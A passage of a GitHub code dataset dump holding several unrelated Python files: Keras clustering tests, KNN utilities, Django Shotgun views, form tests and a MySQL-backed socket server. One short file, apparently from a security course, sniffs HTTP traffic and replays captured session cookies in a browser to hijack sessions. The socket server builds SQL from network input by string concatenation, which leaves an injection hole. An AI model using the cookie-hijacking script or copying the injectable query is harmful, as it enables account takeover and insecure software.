len(clustered_list))\n for layer, clustered_layer in zip(model_layers, clustered_list):\n self._validate_clustered_layer(layer, clustered_layer)\n\n def testClusterSequentialModelNoInput(self):\n \"\"\"\n Verifies that a sequential model without an input layer is being clustered\n correctly.\n \"\"\"\n # No InputLayer\n model = keras.Sequential([\n layers.Dense(10),\n layers.Dense(10),\n ])\n clustered_model = cluster.cluster_weights(model, **self.params)\n self.assertEqual(self._count_clustered_layers(clustered_model), 2)\n\n @keras_parameterized.run_all_keras_modes\n def testClusterSequentialModelWithInput(self):\n \"\"\"\n Verifies that a sequential model with an input layer is being clustered\n correctly.\n \"\"\"\n # With InputLayer\n model = keras.Sequential([\n layers.Dense(10, input_shape=(10,)),\n layers.Dense(10),\n ])\n clustered_model = cluster.cluster_weights(model, **self.params)\n self.assertEqual(self._count_clustered_layers(clustered_model), 2)\n\n def testClusterSequentialModelPreservesBuiltStateNoInput(self):\n \"\"\"\n Verifies that clustering a sequential model without an input layer\n preserves the built state of the model.\n \"\"\"\n # No InputLayer\n model = keras.Sequential([\n layers.Dense(10),\n layers.Dense(10),\n ])\n self.assertEqual(model.built, False)\n clustered_model = cluster.cluster_weights(model, **self.params)\n self.assertEqual(model.built, False)\n\n # Test built state is preserved across serialization\n with cluster.cluster_scope():\n loaded_model = keras.models.model_from_config(\n json.loads(clustered_model.to_json()))\n self.assertEqual(loaded_model.built, False)\n\n @keras_parameterized.run_all_keras_modes\n def testClusterSequentialModelPreservesBuiltStateWithInput(self):\n \"\"\"\n Verifies that clustering a sequential model with an input layer preserves\n the built state of the model.\n \"\"\"\n # With InputLayer\n model = keras.Sequential([\n layers.Dense(10, input_shape=(10,)),\n layers.Dense(10),\n ])\n self.assertEqual(model.built, True)\n clustered_model = cluster.cluster_weights(model, **self.params)\n self.assertEqual(model.built, True)\n\n # Test built state is preserved across serialization\n with cluster.cluster_scope():\n loaded_model = keras.models.model_from_config(\n json.loads(clustered_model.to_json()))\n self.assertEqual(loaded_model.built, True)\n\n @keras_parameterized.run_all_keras_modes\n def testClusterFunctionalModelPreservesBuiltState(self):\n \"\"\"\n Verifies that clustering a functional model preserves the built state of\n the model.\n \"\"\"\n i1 = keras.Input(shape=(10,))\n i2 = keras.Input(shape=(10,))\n x1 = layers.Dense(10)(i1)\n x2 = layers.Dense(10)(i2)\n outputs = layers.Add()([x1, x2])\n model = keras.Model(inputs=[i1, i2], outputs=outputs)\n self.assertEqual(model.built, True)\n clustered_model = cluster.cluster_weights(model, **self.params)\n self.assertEqual(model.built, True)\n\n # Test built state preserves across serialization\n with cluster.cluster_scope():\n loaded_model = keras.models.model_from_config(\n json.loads(clustered_model.to_json()))\n self.assertEqual(loaded_model.built, True)\n\n @keras_parameterized.run_all_keras_modes\n def testClusterFunctionalModel(self):\n \"\"\"\n Verifies that a functional model is being clustered correctly.\n \"\"\"\n i1 = keras.Input(shape=(10,))\n i2 = keras.Input(shape=(10,))\n x1 = layers.Dense(10)(i1)\n x2 = layers.Dense(10)(i2)\n outputs = layers.Add()([x1, x2])\n model = keras.Model(inputs=[i1, i2], outputs=outputs)\n clustered_model = cluster.cluster_weights(model, **self.params)\n self.assertEqual(self._count_clustered_layers(clustered_model), 3)\n\n @keras_parameterized.run_all_keras_modes\n def testClusterFunctionalModelWithLayerReused(self):\n \"\"\"\n Verifies that a layer reused within a functional model multiple times is\n only being clustered once.\n \"\"\"\n # The model reuses the Dense() layer. Make sure it's only clustered once.\n inp = keras.Input(shape=(10,))\n dense_layer = layers.Dense(10)\n x = dense_layer(inp)\n x = dense_layer(x)\n model = keras.Model(inputs=[inp], outputs=[x])\n clustered_model = cluster.cluster_weights(model, **self.params)\n self.assertEqual(self._count_clustered_layers(clustered_model), 1)\n\n @keras_parameterized.run_all_keras_modes\n def testClusterSubclassModel(self):\n \"\"\"\n Verifies that attempting to cluster an instance of a subclass of\n keras.Model raises an exception.\n \"\"\"\n model = TestModel()\n with self.assertRaises(ValueError):\n _ = cluster.cluster_weights(model, **self.params)\n\n @keras_parameterized.run_all_keras_modes\n def testStripClusteringSequentialModel(self):\n \"\"\"\n Verifies that stripping the clustering wrappers from a sequential model\n produces the expected config.\n \"\"\"\n model = keras.Sequential([\n layers.Dense(10),\n layers.Dense(10),\n ])\n\n clustered_model = cluster.cluster_weights(model, **self.params)\n stripped_model = cluster.strip_clustering(clustered_model)\n\n self.assertEqual(self._count_clustered_layers(stripped_model), 0)\n self.assertEqual(model.get_config(), stripped_model.get_config())\n\n @keras_parameterized.run_all_keras_modes\n def testClusterStrippingFunctionalModel(self):\n \"\"\"\n Verifies that stripping the clustering wrappers from a functional model\n produces the expected config.\n \"\"\"\n i1 = keras.Input(shape=(10,))\n i2 = keras.Input(shape=(10,))\n x1 = layers.Dense(10)(i1)\n x2 = layers.Dense(10)(i2)\n outputs = layers.Add()([x1, x2])\n model = keras.Model(inputs=[i1, i2], outputs=outputs)\n\n clustered_model = cluster.cluster_weights(model, **self.params)\n stripped_model = cluster.strip_clustering(clustered_model)\n\n self.assertEqual(self._count_clustered_layers(stripped_model), 0)\n self.assertEqual(model.get_config(), stripped_model.get_config())\n\n @keras_parameterized.run_all_keras_modes\n def testClusterWeightsStrippedWeights(self):\n \"\"\"\n Verifies that stripping the clustering wrappers from a functional model\n preserves the clustered weights.\n \"\"\"\n i1 = keras.Input(shape=(10,))\n x1 = layers.BatchNormalization()(i1)\n outputs = x1\n model = keras.Model(inputs=[i1], outputs=outputs)\n\n clustered_model = cluster.cluster_weights(model, **self.params)\n cluster_weight_length = (len(clustered_model.get_weights()))\n stripped_model = cluster.strip_clustering(clustered_model)\n\n self.assertEqual(self._count_clustered_layers(stripped_model), 0)\n self.assertEqual(len(stripped_model.get_weights()), cluster_weight_length)\n\n @keras_parameterized.run_all_keras_modes\n def testStrippedKernel(self):\n \"\"\"\n Verifies that stripping the clustering wrappers from a functional model\n restores the layers kernel and the layers weight array to the new clustered weight value .\n \"\"\"\n i1 = keras.Input(shape=(1, 1, 1))\n x1 = layers.Conv2D(1, 1)(i1)\n outputs = x1\n model = keras.Model(inputs=[i1], outputs=outputs)\n\n clustered_model = cluster.cluster_weights(model, **self.params)\n clustered_conv2d_layer = clustered_model.layers[1]\n clustered_kernel = clustered_conv2d_layer.layer.kernel\n stripped_model = cluster.strip_clustering(clustered_model)\n stripped_conv2d_layer = stripped_model.layers[1]\n\n self.assertEqual(self._count_clustered_layers(stripped_model), 0)\n self.assertIsNot(stripped_conv2d_layer.kernel, clustered_kernel)\n self.assertEqual(stripped_conv2d_layer.kernel,\n stripped_conv2d_layer.weights[0])\n\n @keras_parameterized.run_all_keras_modes\n def testStripSelectivelyClusteredFunctionalModel(self):\n \"\"\"\n Verifies that invoking strip_clustering() on a selectively clustered\n functional model strips the clustering wrappers from the clustered layers.\n \"\"\"\n i1 = keras.Input(shape=(10,))\n i2 = keras.Input(shape=(10,))\n x1 = cluster.cluster_weights(layers.Dense(10), **self.params)(i1)\n x2 = layers.Dense(10)(i2)\n outputs = layers.Add()([x1, x2])\n clustered_model = keras.Model(inputs=[i1, i2], outputs=outputs)\n\n stripped_model = cluster.strip_clustering(clustered_model)\n\n self.assertEqual(self._count_clustered_layers(stripped_model), 0)\n self.assertIsInstance(stripped_model.layers[2], layers.Dense)\n\n @keras_parameterized.run_all_keras_modes\n def testStripSelectivelyClusteredSequentialModel(self):\n \"\"\"\n Verifies that invoking strip_clustering() on a selectively clustered\n sequential model strips the clustering wrappers from the clustered layers.\n \"\"\"\n clustered_model = keras.Sequential([\n cluster.cluster_weights(layers.Dense(10), **self.params),\n layers.Dense(10),\n ])\n clustered_model.build(input_shape=(1, 10))\n\n stripped_model = cluster.strip_clustering(clustered_model)\n\n self.assertEqual(self._count_clustered_layers(stripped_model), 0)\n self.assertIsInstance(stripped_model.layers[0], layers.Dense)\n\nif __name__ == '__main__':\n test.main()\n","repo_name":"Xilinx/Vitis-AI","sub_path":"src/vai_quantizer/vai_q_tensorflow2.x/tensorflow_model_optimization/python/core/clustering/keras/cluster_test.py","file_name":"cluster_test.py","file_ext":"py","file_size_in_byte":18122,"program_lang":"python","lang":"en","doc_type":"code","stars":1266,"dataset":"github-code","pt":"78"} +{"seq_id":"418687035","text":"import numpy as np\nfrom skimage import color\n\nvalues = []\n\nfor r in range(256):\n print(r)\n for g in range(256):\n for b in range(256):\n values.append(color.rgb2lab([[[r, g, b]]])[0, 0, :])\n\nv = np.vstack(values)\nprint(np.min(v, axis=1))\nprint(np.max(v, axis=1))\n\n","repo_name":"PrimozGodec/DeepColorization","sub_path":"playground/checklabrange.py","file_name":"checklabrange.py","file_ext":"py","file_size_in_byte":288,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"40031855682","text":"import numpy as np\nfrom sklearn.metrics.pairwise import euclidean_distances, \\\n manhattan_distances, cosine_distances\nfrom rank_bm25 import BM25Okapi\n\n \ndef bm25_similarity(queries, corpus, metric_params):\n \n tokenized_corpus = [doc.split() for doc in corpus]\n tokenized_queries = [list(set(doc.split())) for doc in queries]\n bm25 = BM25Okapi(tokenized_corpus, k1=metric_params['k1'], \\\n b=metric_params['b'])\n \n bm25_score = np.zeros(shape=(len(tokenized_queries), \\\n len(tokenized_corpus)))\n \n for idx, query in enumerate(tokenized_queries):\n bm25_score[idx] = bm25.get_scores(query)\n \n # Normalize bm25 simmilarity values\n max_score = np.max(bm25_score)\n bm25_score_norm = (bm25_score - 0) / (max_score - 0)\n\n return bm25_score_norm\n\ndef compute_distances(X, Y, metric, metric_params):\n \n if metric == 'manhattan':\n distances = manhattan_distances(X, Y)\n elif metric == 'euclidean':\n distances = euclidean_distances(X, Y)\n elif metric == 'cosine':\n distances = cosine_distances(X, Y)\n elif metric == 'bm25':\n distances = bm25_similarity(X, Y, metric_params)\n \n return distances\n\ndef convert_distances_to_similarities(distances, metric):\n \n # Normalize distances values\n if metric == 'cosine':\n # cosine distances has 1.0 for maximum and 0 for minimum values\n distances_norm = distances\n else:\n max_distances = np.max(distances)\n min_distances = np.min(distances)\n distances_norm = (distances - min_distances) / (max_distances - min_distances) \n\n # Convert distances values into similarities by subtracting 1 \n # with the distances values\n simmilarities = 1.0 - distances_norm\n return simmilarities\n\ndef compute_similarities(X, Y, metric, metric_params):\n \n distances = compute_distances(X, Y, metric, metric_params)\n \n similarities = convert_distances_to_similarities(distances, metric) \\\n if metric!='bm25' else distances\n \n return similarities\n\n\ndef compute_class_score(class_label, k_neighbors):\n \n \n return class_score\n\ndef nearest_neighbors(similarities, class_label, num_k):\n similarity_label_pairs = [*zip(similarities, class_label)]\n # Sorting similarity_label_pairs into descending order\n similarity_label_pairs = sorted(similarity_label_pairs, \\\n key= lambda x: x[0], reverse=True)\n\n return similarity_label_pairs[:num_k]\n\ndef predict_class(similarities, class_label, num_k):\n \n k_neighbors = nearest_neighbors(similarities, class_label, num_k)\n\n # Generate pair of class label and its score\n k_neighbors = np.array(k_neighbors)\n label, score = np.unique(k_neighbors[:, 1], return_counts=True)\n label_score_pairs = [*zip(label, score)]\n \n # Return class label with the maximum class score\n return max(label_score_pairs, key=lambda x: x[1])[0]\n\ndef compute_num_n(class_freq, num_k):\n \n max_freq = max(class_freq.values())\n num_n = {}\n for label in class_freq:\n num_n[label] = int(np.ceil((num_k*class_freq[label]) / max_freq))\n \n return num_n\n\ndef compute_class_score_iknn(class_label, n_neighbors):\n \n n_neighbors = np.array(n_neighbors)\n \n score, total_sim = 0, 0\n for similarity, label in n_neighbors:\n if class_label == label:\n score += similarity\n total_sim += similarity\n \n return score / total_sim\n\ndef predict_class_iknn(similarities, class_label, num_n):\n \n class_score = []\n for class_ in num_n:\n n_neighbors = nearest_neighbors(similarities, class_label, num_n[class_])\n class_score.append((class_, compute_class_score_iknn(class_, \\\n n_neighbors)))\n \n # Return class with the maximum class score\n return max(class_score, key= lambda x: x[1])[0]\n\ndef compute_nwknn_weight(class_freq, exponent):\n \n min_freq = min(class_freq.values())\n class_weight = {}\n for label in class_freq:\n class_weight[label] = 1 / ((class_freq[label]/min_freq)**(1/exponent))\n\n return class_weight\n\ndef predict_class_nwknn(similarities, class_label, num_k, weight_class):\n \n k_neighbors = nearest_neighbors(similarities, class_label, num_k)\n\n # Generate pair of class label and its score\n k_neighbors = np.array(k_neighbors)\n label, score = np.unique(k_neighbors[:, 1], return_counts=True)\n label_score_pairs = [(key, weight_class[key]*val) \\\n for key, val in zip(label, score)]\n \n # Return class label with the maximum class score\n return max(label_score_pairs, key=lambda x: x[1])[0]","repo_name":"chuun17/KNN","sub_path":"knn/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":4611,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"17139108335","text":"import multiprocessing\nimport socket\nimport pymysql\nimport time\n\n#Database setup\ndbServer=\"localhost\"\ndbUser=\"user\"\ndbPassword=\"0000\"\ndbInuse=\"test\"\ndbTable=\"espdb\"\ndb = pymysql.connect(dbServer, dbUser, dbPassword, dbInuse)\ncursor = db.cursor()\ntodolist = \"Hello world.\"\ntxmessage =\"\"\n\ndef handle(connection, address):\n import logging\n logging.basicConfig(level=logging.DEBUG)\n logger = logging.getLogger(\"process-%r\" % (address,))\n try:\n logger.debug(\"Connected %r at %r\", connection, address)\n while True:\n connection.settimeout(2)\n data = connection.recv(1024)\n\n if data == \"\":\n logger.debug(\"Socket closed remotely\")\n break\n if len(data) < 2:\n logger.debug(\"Socket closed remotely\")\n break\n\n logger.debug(\"Received data %r\", data)\n data=data.strip()\n data=str(data.decode())\n CMD, deviceID = data.split('!')\n logger.debug(\"Sent data\")\n try:\n sql = \"\"\"SELECT * from espdb WHERE id='\"\"\" + deviceID + \"';\"\n print(sql)\n cursor.execute(sql)\n db.commit()\n results = cursor.fetchall()\n if results == ():\n print(\"No Device\")\n connection.sendall(str(\"No Device\").encode())\n else:\n print(results)\n connection.sendall(str(results).encode())\n print(\"OK\")\n\n except:\n db.rollback()\n print(\"Error: unable to fetch data\")\n logger.debug(\"Update Database\")\n break\n\n except socket.timeout:\n logger.exception(\"timeout\")\n except:\n logger.exception(\"Problem handling request\")\n\n finally:\n logger.debug(\"Closing socket\")\n connection.close()\n\n\nclass Server(object):\n def __init__(self, hostname, port):\n import logging\n self.logger = logging.getLogger(\"server\")\n self.hostname = hostname\n self.port = port\n\n def start(self):\n self.logger.debug(\"listening\")\n self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n self.socket.bind((self.hostname, self.port))\n self.socket.listen(1)\n\n while True:\n conn, address = self.socket.accept()\n\n self.logger.debug(\"Got connection\")\n process = multiprocessing.Process(target=handle, args=(conn, address))\n process.daemon = True\n process.start()\n self.logger.debug(\"Started process %r\", process)\n\n\nif __name__ == \"__main__\":\n import logging\n logging.basicConfig(level=logging.DEBUG)\n server = Server(\"0.0.0.0\", 12800)\n\n try:\n logging.info(\"Listening\")\n server.start()\n except:\n logging.exception(\"Unexpected exception\")\n finally:\n logging.info(\"Shutting down\")\n for process in multiprocessing.active_children():\n logging.info(\"Shutting down process %r\", process)\n process.terminate()\n process.join()\n logging.info(\"All done\")","repo_name":"tzuwae/SmartHome","sub_path":"pythonServer/LabVIEW NXG Server.py","file_name":"LabVIEW NXG Server.py","file_ext":"py","file_size_in_byte":3173,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"3582576327","text":"import logging\nimport os\nfrom datetime import datetime\n\nimport shotgun_api3\nfrom django.conf import settings\nfrom django.core.paginator import Paginator\nfrom django.views.generic import TemplateView\n\n\ndef _get_sg_vars():\n \"\"\"\n :returns: A shotgun connection object and Project dict, as a set.\n \"\"\"\n\n # Grab a Shotgun connection.\n sg = shotgun_api3.Shotgun(\n os.environ[\"SG_SERVER\"],\n script_name=os.environ[\"SG_SCRIPT_API_TEST\"],\n api_key=os.environ[\"SG_KEY_API_TEST\"],\n )\n logging.debug(\"Created new Shotgun connection.\")\n\n return sg\n\n\ndef _set_up_logging():\n \"\"\"\n Creates logs directory and sets up logging-related stuffs.\n \"\"\"\n\n # Create a logs directory if it doesn't exist.\n log_path = os.path.join(settings.BASE_DIR, \"logs\")\n if not os.path.exists(log_path):\n os.makedirs(log_path)\n\n # Create a datestamp var for stamping the logs.\n datestamp = datetime.now().strftime(\"%Y_%m_%d_%H-%M-%S\")\n\n # Create a log file path.\n log = os.path.join(log_path, \"%s_%s.log\" % ('views', datestamp)\n )\n\n # Set the logging level.\n logging_level = logging.DEBUG\n\n # Set up our logging.\n logging.basicConfig(\n filename=log,\n level=logging_level,\n format=\"%(levelname)s: %(asctime)s: %(message)s\",\n )\n logging.getLogger().addHandler(logging.StreamHandler())\n\n\nclass IndexView(TemplateView):\n template_name = 'sgSite/index.html'\n context_object_name = 'sgindex'\n\n def get_context_data(self, **kwargs):\n context = super().get_context_data(**kwargs)\n\n # Start logging\n _set_up_logging()\n\n # Grab a Shotgun connection.\n try:\n sg = _get_sg_vars()\n except BaseException as e:\n logging.error(\"Could not create connection to Shotgun\")\n context['contenttitle'] = \"ERROR\"\n context['content'] = \"Error connecting to Shotgun Server\"\n return context\n\n # Project fields to include\n fields = ['id', 'name']\n\n # Filters out only Feature type projects and no templates\n filters = [\n ['sg_type', 'is', 'Feature'],\n ['is_template', 'is', False]\n ]\n\n try:\n # Get list of all projects\n all_projects = sg.find('Project', filters, fields)\n logging.info(\"Found %s Projects.\\n\" % len(all_projects))\n\n if all_projects:\n # Send list to content to parse and display\n context['contenttitle'] = \"Projects\"\n context['projects'] = all_projects\n else:\n context['contenttitle'] = \"Projects\"\n context['projects'] = []\n context['content'] = \"No projects found\"\n\n except shotgun_api3.Fault as e:\n logging.error(\"Could not find Project or Shots for Project ID: %s. Error: %s\" % (context['project_id'], e))\n\n return context\n\n\nclass ProjectView(TemplateView):\n template_name = 'sgSite/project.html'\n context_object_name = 'sgproject'\n\n def get_context_data(self, **kwargs):\n context = super().get_context_data(**kwargs)\n\n # Start logging\n _set_up_logging()\n\n # Grab a Shotgun connection.\n try:\n sg = _get_sg_vars()\n except BaseException as e:\n logging.error(\"Could not create connection to Shotgun\")\n context['title'] = \"Error\"\n context['contenttitle'] = \"ERROR\"\n context['content'] = \"Error connecting to Shotgun Server\"\n context['shots'] = []\n return context\n\n # Project fields to include\n project_fields = ['id', 'name']\n\n # Filter the specific project name\n project_filters = [\n ['id', 'is', context['project_id']]\n ]\n\n try:\n # Get list of all projects\n project = sg.find_one('Project', project_filters, project_fields)\n\n if project:\n # Shot fields to include\n shot_fields = ['id', 'image', 'code', 'sg_sequence', 'description']\n\n # Shot filters to filter to this project\n shot_filters = [\n ['project', 'is', project]\n ]\n\n # Get list of shots\n shot_list = sg.find('Shot', shot_filters, shot_fields)\n logging.info(\"Found %s Shots in Project %s.\\n\" % (len(shot_list), context['project_id']))\n\n if shot_list:\n # Create a Paginator object with the list and 10 shots per page\n paginator = Paginator(shot_list, 10)\n\n # Set the page variable from the url query string\n page = self.request.GET.get('page')\n shots = paginator.get_page(page)\n\n context['title'] = project['name']\n context['contenttitle'] = \"Shots\"\n context['shots'] = shots\n else:\n context['title'] = project['name']\n context['contenttitle'] = \"No shots found\"\n context['shots'] = []\n else:\n context['title'] = \"Error\"\n context['contenttitle'] = \"Project not found\"\n context['shots'] = []\n except shotgun_api3.Fault as e:\n logging.error(\"Could not find Project or Shots for Project ID: %s. Error: %s\" % (context['project_id'], e))\n\n return context\n","repo_name":"theDBNinja/shotgunProject","sub_path":"sgSite/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":5510,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"13000494908","text":"#!/usr/bin/python\nimport sys\nfrom selenium import webdriver\nfrom selenium.webdriver import Firefox\nimport pyshark\n\ncapture = pyshark.LiveCapture(interface='wlp3s0', display_filter='http')\nfor packet in capture.sniff_continuously():\n try:\n cookie_str = packet.http.cookie\n host_str = packet.http.request_full_uri\n #new_cookie = dict(item.split(\"=\") for item in cookie_str.split(\";\"))\n new_cookie = {'name': '', 'value': cookie_str, 'path': '/'}\n except:\n continue\n driver = webdriver.Firefox()\n driver.get(host_str)\n driver.add_cookie(new_cookie)\n driver.refresh()\n sys.exit()\n","repo_name":"Bzykowa/bezpieczenstwo2019","sub_path":"Lista2/cookies.py","file_name":"cookies.py","file_ext":"py","file_size_in_byte":622,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"72634356703","text":"from django.test import TestCase, TransactionTestCase \nfrom django.test import Client\nfrom django.urls import reverse\nfrom django.core.files.uploadedfile import SimpleUploadedFile\nfrom django.utils import timezone\nfrom django.core.exceptions import ValidationError\n\nfrom django.core.cache import cache\n\nimport pandas as pd \n\nfrom rebalanceamento import views\nfrom rebalanceamento import planner\nfrom rebalanceamento import tickerData\nfrom rebalanceamento import forms\n\ntestFilePath = 'rebalanceamento/testInputs/'\n\ndef getFileData(fileName):\n with open(testFilePath + fileName,'rb') as f:\n return SimpleUploadedFile(f.name,f.read())\n\ndef submitFile(fileName):\n fileData = getFileData(fileName)\n return forms.WalletDataForm({},{'file':fileData}).is_valid()\n\nclass MockFile():\n def __init__(self, size):\n self.size = size \n\n# Create your tests here.\nclass PlannerTestCase(TestCase):\n def test_computePlanRebalance(self):\n data = {\n 'Ticker': ['A', 'A2'],\n 'PorcentagemAlvo': [25, 75],\n 'Preço': [1, 1],\n 'Quantidade': [25, 25],\n 'PVP': [1, 1],\n }\n capital = 50\n \n plan, nonAllocatedCapital, waitFor = planner.computePlan(\n pd.DataFrame(data),\n capital\n )\n \n plan.set_index('Ticker', inplace=True)\n planLoc = plan.loc[\n 'A2',\n 'QuantidadeParaComprar'\n ]\n self.assertEqual(50, planLoc)\n self.assertEqual(50, plan['distance'].abs().sum())\n self.assertEqual(\n 0, plan['distancePlanned'].abs().sum()\n )\n self.assertEqual(0, nonAllocatedCapital)\n\n def test_computePlanWaitFor(self):\n data = {\n 'Ticker': ['A', 'A2'],\n 'PorcentagemAlvo': [50, 50],\n 'Preço': [1, 1100],\n 'Quantidade': [1, 0],\n 'PVP': [1, 1],\n }\n capital = 50\n \n plan, nonAllocatedCapital, waitFor = planner.computePlan(\n pd.DataFrame(data),\n capital\n )\n\n self.assertEqual(waitFor, 'A2')\n self.assertEqual(capital, nonAllocatedCapital)\n\n def test_computePlanNoAllocation(self):\n data = {\n 'Ticker': ['A', 'A2', 'A3'],\n 'PorcentagemAlvo': [33, 33, 33],\n 'Preço': [1, 1, 50],\n 'Quantidade': [15, 15, 0],\n 'PVP': [1, 1, 1],\n }\n capital = 25\n \n plan, nonAllocatedCapital, waitFor = planner.computePlan(\n pd.DataFrame(data),\n capital\n )\n \n plan.set_index('Ticker', inplace=True)\n self.assertEqual(capital, nonAllocatedCapital)\n self.assertEqual(\n plan['distancePlanned'].abs().sum(),\n plan['distance'].abs().sum()\n )\n \n def test_computePlanInvest(self):\n data = {\n 'Ticker': ['A', 'A2', 'A3'],\n 'PorcentagemAlvo': [33, 33, 33],\n 'Preço': [15, 23, 50],\n 'Quantidade': [15, 15, 0],\n 'PVP': [1, 1, 1],\n }\n capital = 2500\n \n plan, nonAllocatedCapital, waitFor = planner.computePlan(\n pd.DataFrame(data),capital\n )\n \n plan.set_index('Ticker', inplace=True)\n self.assertTrue(nonAllocatedCapital >= 0)\n self.assertTrue(\n plan['distancePlanned'].abs().sum()\n <= plan['distance'].abs().sum()\n )\n allocatedCapitalSeries = plan['QuantidadeParaComprar'] * plan['Preço']\n allocatedCapital = allocatedCapitalSeries.sum()\n totalCapital = nonAllocatedCapital + allocatedCapital\n self.assertEqual(totalCapital, capital)\n\nclass TickerDataTestCase(TestCase): \n def test_findTickerInfoSuccess(self):\n # pull first ticker from fundamentus\n \n ticker = tickerData.getAValidTickerCode()\n tickerInfo = tickerData.getTickerInfo(ticker)\n\n self.assertTrue(\n set(['price', 'ticker', 'vpa', 'pvp']) == set(tickerInfo.keys()))\n self.assertTrue(type(tickerInfo['price']) == float)\n self.assertTrue(type(tickerInfo['pvp']) == float)\n self.assertTrue(type(tickerInfo['vpa']) == float)\n\n def test_findTickerInfoFail(self):\n self.assertIsNone(tickerData.getTickerInfo(''))\n self.assertIsNone(tickerData.getTickerInfo('QWEWEW'))\n\nclass FormTestCase(TestCase):\n @classmethod\n def setUpClass(cls):\n super().setUpClass()\n validTicker = tickerData.getAValidTickerCode(1)\n data1 = {\n 'ticker': validTicker,\n 'vpa': 1.1,\n 'pvp': 1.1,\n }\n validTicker = tickerData.getAValidTickerCode(2)\n data2 = {\n 'ticker': validTicker,\n\n 'vpa': 1.1,\n 'pvp': 1.1,\n }\n cache.set(data1['ticker'] + 'info', data1, timeout=None)\n cache.set(data1['ticker'] + 'price', 1.1, timeout=None)\n data1['price'] = 1.1\n cache.set(data2['ticker'] + 'info', data2, timeout=None)\n cache.set(data2['ticker'] + 'price', 1.1, timeout=None)\n data2['price'] = 1.1\n \n cls.stock1 = data1['ticker']\n cls.stock2 = data2['ticker']\n\n @classmethod\n def tearDownClass(cls):\n super().tearDownClass()\n cache.clear()\n\n def test_validate_file_size(self):\n self.assertRaises(\n ValidationError,\n lambda : forms.validate_file_size(\n MockFile(1000000 + 1), # more than 1 mb\n ),\n )\n valueLess1MB = 1000\n self.assertEqual(\n valueLess1MB,\n forms.validate_file_size(\n MockFile(valueLess1MB), \n ).size,\n )\n\n def test_WalletDataFormTypeSuccess(self):\n self.assertTrue(submitFile('valid.csv'))\n\n def test_WalletDataFormTypeFail(self):\n self.assertFalse(submitFile('invalidType.txt'))\n\n def test_WalletDataFormHeaderFail(self):\n self.assertFalse(submitFile('invalidHeader.csv'))\n\n def test_WalletDataFormQuantityFail(self):\n self.assertFalse(submitFile('invalidQuantity.csv'))\n\n def test_WalletDataFormStructureFail(self):\n self.assertFalse(submitFile('invalidStructure.csv'))\n\n def test_WalletDataFormTickerFail(self):\n self.assertFalse(submitFile('invalidTicker.csv'))\n\n def test_WalletDataFormTicker2Fail(self):\n self.assertFalse(submitFile('invalidTicker2.csv'))\n\n def test_createWalletPlanningForm(self):\n walletForm = forms.createWalletPlanningForm(\n pd.DataFrame({\n 'Ticker':['A','B'], \n 'Quantidade':[0, 0],\n 'Porcentagem alvo':[50, 50],\n },\n ),\n )\n\n fieldList = [\n 'ticker',\n 'quantity','percent'\n ]\n formFieldList = []\n for form in walletForm.forms:\n formFieldList+= list(form.base_fields.keys())\n \n self.assertTrue(\n set(fieldList) == set(formFieldList)\n )\n \n def test_createWalletPlanningFormSuccess(self):\n walletForm = forms.createWalletPlanningForm()\n data = {\n 'capital':100,\n 'form-TOTAL_FORMS': '2',\n 'form-INITIAL_FORMS': '2',\n 'form-MIN_NUM_FORMS': '0',\n 'form-MAX_NUM_FORMS': '1000',\n 'form-0-ticker': self.stock1,\n 'form-0-quantity': '2', \n 'form-0-percent': '50',\n 'form-1-ticker': self.stock1,\n 'form-1-quantity': '2', \n 'form-1-percent': '50',\n } \n form = walletForm(data)\n self.assertTrue(form.is_valid())\n\n def test_createWalletPlanningFormCleanFailureCapital(self):\n walletForm = forms.createWalletPlanningForm()\n data = {\n 'capital':0,\n 'form-TOTAL_FORMS': '2',\n 'form-INITIAL_FORMS': '2',\n 'form-MIN_NUM_FORMS': '0',\n 'form-MAX_NUM_FORMS': '1000',\n 'form-0-ticker': self.stock1,\n 'form-0-quantity': '2', \n 'form-0-percent': '50',\n 'form-1-ticker': self.stock1,\n 'form-1-quantity': '2', \n 'form-1-percent': '50',\n } \n form = forms.CapitalForm(data)\n self.assertFalse(form.is_valid())\n\n def test_createWalletPlanningFormFailureManagement(self):\n walletForm = forms.createWalletPlanningForm()\n data = {\n 'capital':100,\n 'form-INITIAL_FORMS': '2',\n 'form-MIN_NUM_FORMS': '0',\n 'form-MAX_NUM_FORMS': '1000',\n 'form-0-ticker': self.stock1,\n 'form-0-quantity': '2', \n 'form-0-percent': '50',\n 'form-1-ticker': self.stock2,\n 'form-1-quantity': '2', \n 'form-1-percent': '50',\n } \n form = walletForm(data)\n self.assertRaises(ValidationError,form.is_valid)\n\n def test_createWalletPlanningFormPOSTFailureQuantity(self):\n walletForm = forms.createWalletPlanningForm()\n data = {\n 'capital':100,\n 'form-TOTAL_FORMS': '2',\n 'form-INITIAL_FORMS': '2',\n 'form-MIN_NUM_FORMS': '0',\n 'form-MAX_NUM_FORMS': '1000',\n 'form-0-ticker': self.stock1,\n 'form-0-quantity': '-2', \n 'form-0-percent': '50',\n 'form-1-ticker': self.stock2,\n 'form-1-quantity': '2', \n 'form-1-percent': '50',\n } \n form = walletForm(data)\n self.assertFalse(form.is_valid())\n\n def test_createWalletPlanningFormFailurePercentAbove(self):\n walletForm = forms.createWalletPlanningForm()\n data = {\n 'capital':100,\n 'form-TOTAL_FORMS': '2',\n 'form-INITIAL_FORMS': '2',\n 'form-MIN_NUM_FORMS': '0',\n 'form-MAX_NUM_FORMS': '1000',\n 'form-0-ticker': self.stock1,\n 'form-0-quantity': '2', \n 'form-0-percent': '50',\n 'form-1-ticker': self.stock2,\n 'form-1-quantity': '2', \n 'form-1-percent': '51',\n } \n form = walletForm(data)\n self.assertFalse(form.is_valid())\n\n def test_createWalletPlanningFormFailurePercentBelow(self):\n walletForm = forms.createWalletPlanningForm()\n data = {\n 'capital':100,\n 'form-TOTAL_FORMS': '2',\n 'form-INITIAL_FORMS': '2',\n 'form-MIN_NUM_FORMS': '0',\n 'form-MAX_NUM_FORMS': '1000',\n 'form-0-ticker': self.stock1,\n 'form-0-quantity': '2', \n 'form-0-percent': '50',\n 